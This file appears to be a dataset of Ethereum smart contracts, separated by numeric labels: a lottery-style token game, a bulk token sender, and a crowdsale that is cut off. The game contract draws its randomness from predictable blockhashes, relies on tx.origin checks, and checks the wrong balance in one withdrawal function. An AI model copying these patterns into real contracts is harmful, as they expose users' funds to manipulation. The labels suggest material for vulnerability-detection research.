isAdmin[_adminTwo] = true; admins.push(_adminThree); isAdmin[_adminThree] = true; admins.push(_adminFour); isAdmin[_adminFour] = true; } modifier onlyAdmins() { require (isAdmin[msg.sender] == true, "you must be an admin"); _; } modifier onlyHumans() { require (msg.sender == tx.origin, "only approved contracts allowed"); _; } modifier gameOpen() { require (gameActive == true || now >= activationTime, "the game must be open"); if (miniGameProcessing == true) { require (block.number > miniGameProcessingBegun + RNGblockDelay, "the round is still processing. try again soon"); } _; } event adminWithdrew( uint256 _amount, address indexed _caller, string _message ); event cycleStarted( address indexed _caller, string _message ); event adminAdded( address indexed _caller, address indexed _newAdmin, string _message ); event resolvedEarly( address indexed _caller, uint256 _pot, string _message ); event processingRestarted( address indexed _caller, string _message ); event contractDestroyed( address indexed _caller, uint256 _balance, string _message ); event userBought( address indexed _user, uint256 _tokensBought, uint256 indexed _miniGameID, string _message ); event userReinvested( address indexed _user, uint256 _amount, string _message ); event userWithdrew( address indexed _user, uint256 _amount, string _message ); event processingStarted( address indexed _caller, uint256 indexed _miniGameID, uint256 _blockNumber, string _message ); event processingFinished( address indexed _caller, uint256 indexed _miniGameID, uint256 _blockNumber, string _message ); event newMinigameStarted( uint256 indexed _miniGameID, uint256 _newTokens, string _message ); event miniGamePrizeAwarded( uint256 indexed _miniGameID, uint256 _winningNumber, uint256 _prize, string _message ); event miniGameAirdropAwarded( uint256 indexed _miniGameID, uint256 _winningNumber, uint256 _prize, string _message ); event roundPrizeAwarded( uint256 indexed _roundID, uint256 _winningNumber, uint256 _prize, string _message ); event cyclePrizeAwarded( uint256 _winningNumber, uint256 _prize, string _message ); function adminWithdraw() external { require (isAdmin[msg.sender] == true || msg.sender == adminBank); require (adminBalance > 0, "there must be a balance"); uint256 balance = adminBalance; adminBalance = 0; adminBank.call.value(balance).gas(100000)(); emit adminWithdrew(balance, msg.sender, "an admin just withdrew to the admin bank"); } function foundationWithdraw() external { require (isAdmin[msg.sender] == true || msg.sender == foundationFund); require (adminBalance > 0, "there must be a balance"); uint256 balance = foundationBalance; foundationBalance = 0; foundationFund.call.value(balance).gas(100000)(); emit adminWithdrew(balance, msg.sender, "an admin just withdrew to the foundation fund"); } function earlyResolveA() external onlyAdmins() onlyHumans() gameOpen() { require (now > miniGameStartTime[miniGameCount] + 604800 && miniGameProcessing == false, "earlyResolveA cannot be called yet"); require (miniGamePrizePot[miniGameCount].sub(seedAreward).sub(seedBreward) >= 0); gameActive = false; earlyResolveACalled = true; generateSeedA(); } function earlyResolveB() external onlyAdmins() onlyHumans() { require (earlyResolveACalled == true && earlyResolveBCalled == false && miniGameProcessing == true && block.number > miniGameProcessingBegun + RNGblockDelay, "earlyResolveB cannot be called yet"); earlyResolveBCalled = true; resolveCycle(); emit resolvedEarly(msg.sender, cycleProgressivePot, "the cycle was resolved early"); } function restartMiniGame() external onlyAdmins() onlyHumans() { require (miniGameProcessing == true && block.number > miniGameProcessingBegun + 256, "restartMiniGame cannot be called yet"); generateSeedA(); emit processingRestarted(msg.sender, "mini-game processing was restarted"); } function zeroOut() external onlyAdmins() onlyHumans() { require (now >= cycleEnded + 30 days && cycleOver == true, "too early to close the contract"); emit contractDestroyed(msg.sender, address(this).balance, "contract destroyed"); selfdestruct(foundationFund); } function () external payable onlyHumans() gameOpen() { buyInternal(msg.value, 0x0); } function buy(address _referral) public payable onlyHumans() gameOpen() { buyInternal(msg.value, _referral); } function reinvest(uint256 _amount, address _referral) external onlyHumans() gameOpen() { updateUserBalance(msg.sender); require (_amount <= userBalance[msg.sender], "insufficient balance"); require (_amount >= tokenPrice, "you must buy at least one token"); userBalance[msg.sender] = userBalance[msg.sender].sub(_amount); buyInternal(_amount, _referral); emit userReinvested(msg.sender, _amount, "a user reinvested"); } function withdraw() external onlyHumans() { updateUserBalance(msg.sender); require (userBalance[msg.sender] > 0, "no balance to withdraw"); require (userBalance[msg.sender] <= address(this).balance, "you cannot withdraw more than the contract holds"); uint256 toTransfer = userBalance[msg.sender]; userBalance[msg.sender] = 0; msg.sender.transfer(toTransfer); emit userWithdrew(msg.sender, toTransfer, "a user withdrew"); } function getValueOfRemainingTokens() public view returns(uint256 _tokenValue){ return miniGameTokensLeft[miniGameCount].mul(tokenPrice); } function getCurrentMinigamePrizePot() public view returns(uint256 _mgPrize){ return miniGamePrizePot[miniGameCount]; } function getCurrentRoundPrizePot() public view returns(uint256 _rndPrize){ return roundPrizePot[roundCount]; } function contractBalance() external view returns(uint256 _contractBalance) { return address(this).balance; } function checkUserDivsAvailable(address _user) external view returns(uint256 _userDivsAvailable) { return userBalance[_user] + checkDivsMgView(_user) + checkDivsRndView(_user) + checkPrizesView(_user); } function userOddsMiniGame(address _user) external view returns(uint256) { return userMiniGameTokens[_user][miniGameCount].mul(10 ** 5).div(miniGameTokensActive[miniGameCount]).add(5).div(10); } function userOddsRound(address _user) external view returns(uint256) { return userRoundTokens[_user][roundCount].mul(10 ** 5).div(roundTokensActive[roundCount]).add(5).div(10); } function userOddsCycle(address _user) external view returns(uint256) { return userTokens[_user].mul(10 ** 5).div(cycleActiveTokens).add(5).div(10); } function miniGameInfo() external view returns( uint256 _id, uint256 _miniGameTokens, uint256 _miniGameTokensLeft, uint256 _miniGamePrizePot, uint256 _miniGameAirdropPot, uint256 _miniGameStartTime ) { return ( miniGameCount, miniGameTokens[miniGameCount], miniGameTokensLeft[miniGameCount], miniGamePrizePot[miniGameCount], miniGameAirdropPot[miniGameCount], miniGameStartTime[miniGameCount] ); } function roundInfo() external view returns( uint256 _id, uint256 _roundPrize, uint256 _roundStart ) { return ( roundCount, cycleProgressivePot / 2, roundStartTime[roundCount] ); } function contractInfo() external view returns( uint256 _balance, uint256 _volume, uint256 _totalBuys, uint256 _totalUsers, uint256 _tokenSupply, uint256 _tokenPrice ) { return ( address(this).balance, totalVolume, totalBuys, uniqueAddress.length, tokenSupply, tokenPrice ); } function cycleInfo() external view returns( bool _cycleComplete, uint256 _currentRound, uint256 _currentMinigame, uint256 _tokenSupply, uint256 _progressivePot, bool _prizeClaimed, uint256 _winningNumber ) { bool isActive; if (miniGameCount < 1000) { isActive = true; } else { isActive = false; } return ( isActive, roundCount, miniGameCount, tokenSupply, cycleProgressivePot, cylcePrizeClaimed, cyclePrizeWinningNumber ); } function startCycle() internal { require (gameActive == false && cycleCount == 0, "the cycle has already been started"); gameActive = true; cycleStart(); roundStart(); miniGameStart(); emit cycleStarted(msg.sender, "a new cycle just started"); } function buyInternal(uint256 _amount, address _referral) internal { require (_amount >= tokenPrice, "you must buy at least one token"); require (userMiniGameTokensMin[msg.sender][miniGameCount].length < 10, "you are buying too often in this round"); if (gameActive == false && now >= activationTime) { startCycle(); } if (userLastRoundInteractedWith[msg.sender] < roundCount || userLastMiniGameInteractedWith[msg.sender] < miniGameCount) { updateUserBalance(msg.sender); } if (miniGameProcessing == true && block.number > miniGameProcessingBegun + RNGblockDelay) { generateSeedB(); } if (knownUsers[msg.sender] == false) { uniqueAddress.push(msg.sender); knownUsers[msg.sender] = true; } uint256 tokensPurchased; uint256 ethSpent = _amount; uint256 valueOfRemainingTokens = miniGameTokensLeft[miniGameCount].mul(tokenPrice); if (ethSpent >= valueOfRemainingTokens) { uint256 incomingValue = ethSpent; ethSpent = valueOfRemainingTokens; tokensPurchased = miniGameTokensLeft[miniGameCount]; miniGameTokensLeft[miniGameCount] = 0; uint256 ethCredit = incomingValue.sub(ethSpent); userBalance[msg.sender] += ethCredit; generateSeedA(); } else { tokensPurchased = ethSpent.div(tokenPrice); } userTokens[msg.sender] += tokensPurchased; userMiniGameTokens[msg.sender][miniGameCount] += tokensPurchased; userRoundTokens[msg.sender][roundCount] += tokensPurchased; userMiniGameTokensMin[msg.sender][miniGameCount].push(cycleActiveTokens + 1); userMiniGameTokensMax[msg.sender][miniGameCount].push(cycleActiveTokens + tokensPurchased); userLastMiniGameInteractedWith[msg.sender] = miniGameCount; userLastRoundInteractedWith[msg.sender] = roundCount; uint256 referralShare = (ethSpent.mul(referralRate)).div(100); if (_referral != 0x0000000000000000000000000000000000000000 && _referral != msg.sender) { userBalance[_referral] += referralShare; } else if (_referral == 0x0000000000000000000000000000000000000000 || _referral == msg.sender){ cycleProgressivePot += referralShare; } uint256 adminShare = (ethSpent.mul(adminFeeRate)).div(100); adminBalance += adminShare; uint256 mgDivs = (ethSpent.mul(miniGameDivRate)).div(100); miniGameDivs[miniGameCount] += mgDivs; uint256 roundDivShare = ethSpent.mul(roundDivRate).div(100); roundDivs[roundCount] += roundDivShare; uint256 miniGamePrize = ethSpent.mul(miniGamePotRate).div(100); miniGamePrizePot[miniGameCount] += miniGamePrize; uint256 miniGameAirdrop = ethSpent.mul(miniGameAirdropRate).div(100); miniGameAirdropPot[miniGameCount] += miniGameAirdrop; uint256 cyclePot = ethSpent.mul(progressivePotRate).div(100); cycleProgressivePot += cyclePot; if (miniGameTokensLeft[miniGameCount] > 0) { miniGameTokensLeft[miniGameCount] = miniGameTokensLeft[miniGameCount].sub(tokensPurchased); } cycleActiveTokens += tokensPurchased; roundTokensActive[roundCount] += tokensPurchased; miniGameTokensActive[miniGameCount] += tokensPurchased; totalVolume += ethSpent; totalBuys++; updateUserBalance(msg.sender); emit userBought(msg.sender, tokensPurchased, miniGameCount, "a user just bought tokens"); } function checkDivs(address _user) internal { uint256 _mg = userLastMiniGameInteractedWith[_user]; uint256 _rnd = userLastRoundInteractedWith[_user]; userShareMiniGame[_user][_mg] = userMiniGameTokens[_user][_mg].mul(10 ** (precisionFactor + 1)).div(miniGameTokens[_mg] + 5).div(10); userDivsMiniGameTotal[_user][_mg] = miniGameDivs[_mg].mul(userShareMiniGame[_user][_mg]).div(10 ** precisionFactor); userDivsMiniGameUnclaimed[_user][_mg] = userDivsMiniGameTotal[_user][_mg].sub(userDivsMiniGameClaimed[_user][_mg]); if (userDivsMiniGameUnclaimed[_user][_mg] > 0) { assert(userDivsMiniGameUnclaimed[_user][_mg] <= miniGameDivs[_mg]); assert(userDivsMiniGameUnclaimed[_user][_mg] <= address(this).balance); userDivsMiniGameClaimed[_user][_mg] = userDivsMiniGameTotal[_user][_mg]; uint256 shareTempMg = userDivsMiniGameUnclaimed[_user][_mg]; userDivsMiniGameUnclaimed[_user][_mg] = 0; userBalance[_user] += shareTempMg; miniGameDivsClaimed[_mg] += shareTempMg; } userShareRound[_user][_rnd] = userRoundTokens[_user][_rnd].mul(10 ** (precisionFactor + 1)).div(roundTokensActive[_rnd] + 5).div(10); userDivsRoundTotal[_user][_rnd] = roundDivs[_rnd].mul(userShareRound[_user][_rnd]).div(10 ** precisionFactor); userDivsRoundUnclaimed[_user][_rnd] = userDivsRoundTotal[_user][_rnd].sub(userDivsRoundClaimed[_user][_rnd]); if (userDivsRoundUnclaimed[_user][_rnd] > 0) { assert(userDivsRoundUnclaimed[_user][_rnd] <= roundDivs[_rnd]); assert(userDivsRoundUnclaimed[_user][_rnd] <= address(this).balance); userDivsRoundClaimed[_user][_rnd] = userDivsRoundTotal[_user][_rnd]; uint256 shareTempRnd = userDivsRoundUnclaimed[_user][_rnd]; userDivsRoundUnclaimed[_user][_rnd] = 0; userBalance[_user] += shareTempRnd; roundDivsClaimed[_rnd] += shareTempRnd; } } function checkPrizes(address _user) internal { if (cycleOver == true && userCycleChecked[_user] == false) { uint256 mg = cyclePrizeInMinigame; if (cylcePrizeClaimed == false && userMiniGameTokensMax[_user][mg].length > 0) { for (uint256 i = 0; i < userMiniGameTokensMin[_user][mg].length; i++) { if (cyclePrizeWinningNumber >= userMiniGameTokensMin[_user][mg][i] && cyclePrizeWinningNumber <= userMiniGameTokensMax[_user][mg][i]) { userBalance[_user] += cycleProgressivePot; cylcePrizeClaimed = true; cyclePrizeWinner = msg.sender; break; } } } userCycleChecked[_user] = true; } if (roundPrizeClaimed[userLastRoundInteractedWith[_user]] == false && roundPrizeTokenRangeIdentified[userLastRoundInteractedWith[_user]]) { uint256 rnd = userLastRoundInteractedWith[_user]; uint256 mgp = roundPrizeInMinigame[rnd]; for (i = 0; i < userMiniGameTokensMin[_user][mgp].length; i++) { if (roundPrizeNumber[rnd] >= userMiniGameTokensMin[_user][mgp][i] && roundPrizeNumber[rnd] <= userMiniGameTokensMax[_user][mgp][i]) { userBalance[_user] += roundPrizePot[mgp]; roundPrizeClaimed[rnd] = true; roundPrizeWinner[rnd] = msg.sender; break; } } userLastRoundChecked[_user] = userLastRoundInteractedWith[_user]; } if (userLastMiniGameChecked[_user] < userLastMiniGameInteractedWith[_user] && miniGameCount > userLastMiniGameInteractedWith[_user]) { mg = userLastMiniGameInteractedWith[_user]; for (i = 0; i < userMiniGameTokensMin[_user][mg].length; i++) { if (miniGamePrizeNumber[mg] >= userMiniGameTokensMin[_user][mg][i] && miniGamePrizeNumber[mg] <= userMiniGameTokensMax[_user][mg][i]) { userBalance[_user] += miniGamePrizePot[mg]; miniGamePrizeClaimed[mg] = true; miniGamePrizeWinner[mg] = msg.sender; break; } } for (i = 0; i < userMiniGameTokensMin[_user][mg].length; i++) { if (miniGameAirdropNumber[mg] >= userMiniGameTokensMin[_user][mg][i] && miniGameAirdropNumber[mg] <= userMiniGameTokensMax[_user][mg][i]) { userBalance[_user] += miniGameAirdropPot[mg]; miniGameAirdropClaimed[mg] = true; miniGameAirdropWinner[mg] = msg.sender; break; } } userLastMiniGameChecked[_user] = userLastMiniGameInteractedWith[_user]; } } function updateUserBalance(address _user) internal { checkDivs(_user); checkPrizes(_user); } function miniGameStart() internal { require (cycleOver == false, "the cycle cannot be over"); miniGameCount++; miniGameStartTime[miniGameCount] = now; if (tokenSupply != 0) { miniGameTokenRangeMin[miniGameCount] = tokenSupply + 1; } else { miniGameTokenRangeMin[miniGameCount] = 0; } miniGameTokens[miniGameCount] = generateTokens(); miniGameTokensLeft[miniGameCount] = miniGameTokens[miniGameCount]; miniGameTokenRangeMax[miniGameCount] = tokenSupply; if (miniGameCount > 1) { tokenPrice += tokenPriceIncrement; } if (miniGameCount % miniGamesPerRound == 0 && miniGameCount > 1) { awardRoundPrize(); roundStart(); tokenPrice = 0.001 ether + 0.0005 ether * roundCount.sub(1); } if (miniGameCount % (miniGamesPerCycle + 1) == 0 && miniGameCount > 1) { awardCyclePrize(); } emit newMinigameStarted(miniGameCount, miniGameTokens[miniGameCount], "new minigame started"); } function roundStart() internal { require (cycleOver == false, "the cycle cannot be over"); roundCount++; roundStartTime[roundCount] = now; if (tokenSupply != 0) { roundTokenRangeMin[roundCount] = miniGameTokenRangeMax[miniGameCount.sub(1)] + 1; } else { roundTokenRangeMin[roundCount] = 0; } if (roundCount >= 2) { roundTokenRangeMax[roundCount.sub(1)] = miniGameTokenRangeMax[miniGameCount.sub(1)]; roundTokens[roundCount.sub(1)] = tokenSupply.sub(roundTokenRangeMin[roundCount.sub(1)]); } } function cycleStart() internal { require (cycleOver == false, "the cycle cannot be over"); cycleCount++; cycleStartTime = now; } function generateTokens() internal returns(uint256 _tokens) { bytes32 hash = keccak256(abi.encodePacked(salt, hashA, hashB)); uint256 randTokens = uint256(hash).mod(minTokensPerMiniGame); uint256 newMinGameTokens = randTokens + minTokensPerMiniGame; tokenSupply += newMinGameTokens; salt++; return newMinGameTokens; } function generateSeedA() internal { require (miniGameProcessing == false || miniGameProcessing == true && block.number > miniGameProcessingBegun + 256, "seed A cannot be regenerated right now"); require (miniGameTokensLeft[miniGameCount] == 0 || earlyResolveACalled == true, "active tokens remain in this minigame"); miniGameProcessing = true; miniGameProcessingBegun = block.number; hashA = blockhash(miniGameProcessingBegun - 1); if (miniGameCount > 1) { miniGameEndTime[miniGameCount] = now; } if (miniGameCount % miniGamesPerRound == 0) { roundEndTime[roundCount] = now; } if (miniGameSeedAawarded[miniGameCount] == false) { userBalance[msg.sender] += seedAreward; miniGameSeedAawarded[miniGameCount] = true; } salt++; emit processingStarted(msg.sender, miniGameCount, block.number, "processing started"); } function generateSeedB() internal { hashB = blockhash(miniGameProcessingBegun + RNGblockDelay); awardMiniGamePrize(); awardMiniGameAirdrop(); if (miniGameSeedBawarded[miniGameCount] == false) { userBalance[msg.sender] += seedBreward; miniGameSeedBawarded[miniGameCount] = true; } miniGameStart(); miniGameProcessing = false; salt++; emit processingFinished(msg.sender, miniGameCount, block.number, "processing finished"); } function awardMiniGamePrize() internal { bytes32 hash = keccak256(abi.encodePacked(salt, hashA, hashB)); uint256 winningNumber = uint256(hash).mod(miniGameTokens[miniGameCount].sub(miniGameTokensLeft[miniGameCount])); miniGamePrizeNumber[miniGameCount] = winningNumber + miniGameTokenRangeMin[miniGameCount]; miniGamePrizePot[miniGameCount] = miniGamePrizePot[miniGameCount].sub(seedAreward).sub(seedBreward); salt++; emit miniGamePrizeAwarded(miniGameCount, winningNumber, miniGamePrizePot[miniGameCount], "minigame prize awarded"); } function awardMiniGameAirdrop() internal { bytes32 hash = keccak256(abi.encodePacked(salt, hashA, hashB)); uint256 winningNumber = uint256(hash).mod(miniGameTokens[miniGameCount].sub(miniGameTokensLeft[miniGameCount])); miniGameAirdropNumber[miniGameCount] = winningNumber + miniGameTokenRangeMin[miniGameCount]; salt++; emit miniGameAirdropAwarded(miniGameCount, winningNumber, miniGameAirdropPot[miniGameCount], "minigame airdrop awarded"); } function awardRoundPrize() internal { bytes32 hash = keccak256(abi.encodePacked(salt, hashA, hashB)); uint256 currentRoundTokens; if (miniGameCount > 1) { currentRoundTokens = miniGameTokenRangeMax[miniGameCount.sub(1)].sub(roundTokenRangeMin[roundCount]); } else if (miniGameCount == 1) { currentRoundTokens = miniGameTokensActive[1]; } uint256 winningNumber = uint256(hash).mod(currentRoundTokens); roundPrizeNumber[roundCount] = winningNumber + roundTokenRangeMin[roundCount]; uint256 roundPrize = cycleProgressivePot.mul(roundPotRate).div(100); uint256 adminShare = cycleProgressivePot.mul(4).div(100); foundationBalance += adminShare; roundPrizePot[roundCount] = roundPrize; cycleProgressivePot = roundPrize; narrowRoundPrize(roundCount); salt++; emit roundPrizeAwarded(roundCount, winningNumber, roundPrize, "round prize awarded"); } function awardCyclePrize() internal { bytes32 hash = keccak256(abi.encodePacked(salt, hashA, hashB)); uint256 winningNumber; if (miniGameCount > 1) { winningNumber = uint256(hash).mod(miniGameTokenRangeMax[miniGameCount - 1]); } else if (miniGameCount == 1) { winningNumber = uint256(hash).mod(miniGameTokensActive[1]); } cyclePrizeWinningNumber = winningNumber; gameActive = false; cycleEnded = now; cycleOver = true; narrowCyclePrize(); salt++; emit cyclePrizeAwarded(winningNumber, cycleProgressivePot, "cycle prize awarded"); } function resolveCycle() internal { hashB = blockhash(miniGameProcessingBegun + RNGblockDelay); awardMiniGamePrize(); awardMiniGameAirdrop(); awardRoundPrize(); awardCyclePrize(); miniGameProcessing = false; gameActive = false; } function narrowRoundPrize(uint256 _ID) internal returns(uint256 _miniGameID) { uint256 miniGameRangeMin; uint256 miniGameRangeMax; if (_ID == 1) { miniGameRangeMin = 1; miniGameRangeMax = miniGamesPerRound; } else if (_ID >= 2) { miniGameRangeMin = _ID.mul(miniGamesPerRound); miniGameRangeMax = miniGameRangeMin + miniGamesPerRound - 1; } for (uint256 i = miniGameRangeMin; i <= miniGameRangeMax; i++) { if (roundPrizeNumber[_ID] >= miniGameTokenRangeMin[i] && roundPrizeNumber[_ID] <= miniGameTokenRangeMax[i]) { roundPrizeInMinigame[_ID] = i; roundPrizeTokenRangeIdentified[_ID] = true; return roundPrizeInMinigame[_ID]; break; } } } function narrowCyclePrize() internal returns(uint256 _miniGameID) { for (uint256 i = 1; i <= roundCount; i++) { if (cyclePrizeWinningNumber >= roundTokenRangeMin[i] && cyclePrizeWinningNumber <= roundTokenRangeMax[i]) { cyclePrizeInRound = i; break; } } uint256 miniGameRangeMin; uint256 miniGameRangeMax; uint256 _ID = cyclePrizeInRound; if (_ID == 1) { miniGameRangeMin = 1; miniGameRangeMax = miniGamesPerRound; } else if (_ID >= 2) { miniGameRangeMin = _ID.mul(miniGamesPerRound); miniGameRangeMax = miniGameRangeMin + miniGamesPerRound - 1; } for (i = miniGameRangeMin; i <= miniGameRangeMax; i++) { if (cyclePrizeWinningNumber >= miniGameTokenRangeMin[i] && cyclePrizeWinningNumber <= miniGameTokenRangeMax[i]) { cyclePrizeInMinigame = i; cyclePrizeTokenRangeIdentified = true; return cyclePrizeInMinigame; break; } } } function checkDivsMgView(address _user) internal view returns(uint256 _divs) { uint256 _mg = userLastMiniGameChecked[_user]; uint256 mgShare = userShareMiniGame[_user][_mg]; uint256 mgTotal = userDivsMiniGameTotal[_user][_mg]; uint256 mgUnclaimed = userDivsMiniGameUnclaimed[_user][_mg]; mgShare = userMiniGameTokens[_user][_mg].mul(10 ** (precisionFactor + 1)).div(miniGameTokens[_mg] + 5).div(10); mgTotal = miniGameDivs[_mg].mul(mgShare).div(10 ** precisionFactor); mgUnclaimed = mgTotal.sub(userDivsMiniGameClaimed[_user][_mg]); return mgUnclaimed; } function checkDivsRndView(address _user) internal view returns(uint256 _divs) { uint256 _rnd = userLastRoundChecked[_user]; uint256 rndShare = userShareRound[_user][_rnd]; uint256 rndTotal = userDivsRoundTotal[_user][_rnd]; uint256 rndUnclaimed = userDivsRoundUnclaimed[_user][_rnd]; rndShare = userRoundTokens[_user][_rnd].mul(10 ** (precisionFactor + 1)).div(roundTokensActive[_rnd] + 5).div(10); rndTotal = roundDivs[_rnd].mul(rndShare).div(10 ** precisionFactor); rndUnclaimed = rndTotal.sub(userDivsRoundClaimed[_user][_rnd]); return rndUnclaimed; } function checkPrizesView(address _user) internal view returns(uint256 _prizes) { uint256 prizeValue; if (cycleOver == true && userCycleChecked[_user] == false) { uint256 mg; if (cyclePrizeTokenRangeIdentified == true) { mg = cyclePrizeInMinigame; } else { narrowCyclePrizeView(); mg = cyclePrizeInMinigame; } if (cylcePrizeClaimed == false && userMiniGameTokensMax[_user][mg].length > 0) { for (uint256 i = 0; i < userMiniGameTokensMin[_user][mg].length; i++) { if (cyclePrizeWinningNumber >= userMiniGameTokensMin[_user][mg][i] && cyclePrizeWinningNumber <= userMiniGameTokensMax[_user][mg][i]) { prizeValue += cycleProgressivePot; break; } } } } if (userLastRoundChecked[_user] < userLastRoundInteractedWith[_user] && roundCount > userLastRoundInteractedWith[_user]) { uint256 mgp; uint256 _ID = userLastRoundChecked[_user]; if (roundPrizeTokenRangeIdentified[_ID] == true) { mgp = roundPrizeInMinigame[_ID]; } else { narrowRoundPrizeView(_ID); mgp = roundPrizeInMinigame[_ID]; } for (i = 0; i < userMiniGameTokensMin[_user][mgp].length; i++) { if (roundPrizeNumber[_ID] >= userMiniGameTokensMin[_user][mgp][i] && roundPrizeNumber[_ID] <= userMiniGameTokensMax[_user][mgp][i]) { prizeValue += roundPrizePot[mgp]; break; } } } if (userLastMiniGameChecked[_user] < userLastMiniGameInteractedWith[_user] && miniGameCount > userLastMiniGameInteractedWith[_user]) { mg = userLastMiniGameInteractedWith[_user]; for (i = 0; i < userMiniGameTokensMin[_user][mg].length; i++) { if (miniGamePrizeNumber[mg] >= userMiniGameTokensMin[_user][mg][i] && miniGamePrizeNumber[mg] <= userMiniGameTokensMax[_user][mg][i]) { prizeValue += miniGamePrizePot[mg]; break; } } for (i = 0; i < userMiniGameTokensMin[_user][mg].length; i++) { if (miniGameAirdropNumber[mg] >= userMiniGameTokensMin[_user][mg][i] && miniGameAirdropNumber[mg] <= userMiniGameTokensMax[_user][mg][i]) { prizeValue += miniGameAirdropPot[mg]; break; } } } return prizeValue; } function narrowRoundPrizeView(uint256 _ID) internal view returns(uint256 _miniGameID) { uint256 winningNumber = roundPrizeNumber[_ID]; uint256 miniGameRangeMin; uint256 miniGameRangeMax; if (_ID == 1) { miniGameRangeMin = 1; miniGameRangeMax = miniGamesPerRound; } else if (_ID >= 2) { miniGameRangeMin = _ID.mul(miniGamesPerRound); miniGameRangeMax = miniGameRangeMin + miniGamesPerRound - 1; } for (uint256 i = miniGameRangeMin; i <= miniGameRangeMax; i++) { if (winningNumber >= miniGameTokenRangeMin[i] && winningNumber <= miniGameTokenRangeMax[i]) { return i; break; } } } function narrowCyclePrizeView() internal view returns(uint256 _miniGameID) { uint256 winningNumber = cyclePrizeWinningNumber; uint256 rnd; for (uint256 i = 1; i <= roundCount; i++) { if (winningNumber >= roundTokenRangeMin[i] && winningNumber <= roundTokenRangeMax[i]) { rnd = i; break; } } uint256 miniGameRangeMin; uint256 miniGameRangeMax; uint256 _ID = rnd; if (_ID == 1) { miniGameRangeMin = 1; miniGameRangeMax = miniGamesPerRound; } else if (_ID >= 2) { miniGameRangeMin = _ID.mul(miniGamesPerRound); miniGameRangeMax = miniGameRangeMin + miniGamesPerRound - 1; } for (i = miniGameRangeMin; i <= miniGameRangeMax; i++) { if (winningNumber >= miniGameTokenRangeMin[i] && winningNumber <= miniGameTokenRangeMax[i]) { return i; break; } } } }
0
804
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MassSenderForFork { mapping(address => mapping (uint32 => bool)) processedTransactions; ERC20 private fork = ERC20(0x5bB1632fA0023e1AA76a1AE92B4635C8DBa49Fa2); function bulkTransferFrom( uint32[] payment_ids, address[] receivers, uint256[] transfers ) external { require(payment_ids.length == receivers.length); require(payment_ids.length == transfers.length); for (uint i = 0; i < receivers.length; i++) { if (!processedTransactions[msg.sender][payment_ids[i]]) { require(fork.transferFrom(msg.sender, receivers[i], transfers[i])); processedTransactions[msg.sender][payment_ids[i]] = true; } } } }
1
3,645
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract XdacToken is StandardToken, Ownable { string public name = "XDAC COIN"; string public symbol = "XDAC"; uint8 public decimals = 18; function XdacToken(uint256 _initial_supply) public { totalSupply_ = _initial_supply; balances[msg.sender] = _initial_supply; Transfer(0x0, msg.sender, _initial_supply); } } contract XdacTokenCrowdsale is Ownable { using SafeMath for uint256; uint256[] roundGoals; uint256[] roundRates; uint256 minContribution; ERC20 public token; address public wallet; mapping(address => Contributor) public contributors; address[] addresses; uint256 public weiDelivered; event TokenRefund(address indexed purchaser, uint256 amount); event TokenPurchase(address indexed purchaser, address indexed contributor, uint256 value, uint256 amount); struct Contributor { uint256 eth; bool whitelisted; bool created; } function XdacTokenCrowdsale( address _wallet, uint256[] _roundGoals, uint256[] _roundRates, uint256 _minContribution, uint256 _initial_supply ) public { require(_wallet != address(0)); require(_roundRates.length == 5); require(_roundGoals.length == 5); roundGoals = _roundGoals; roundRates = _roundRates; minContribution = _minContribution; token = new XdacToken(_initial_supply); wallet = _wallet; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _contributor) public payable { require(_contributor != address(0)); require(msg.value != 0); require(msg.value >= minContribution); require(weiDelivered.add(msg.value) <= roundGoals[4]); uint256 tokens = _getTokenAmount(msg.value); 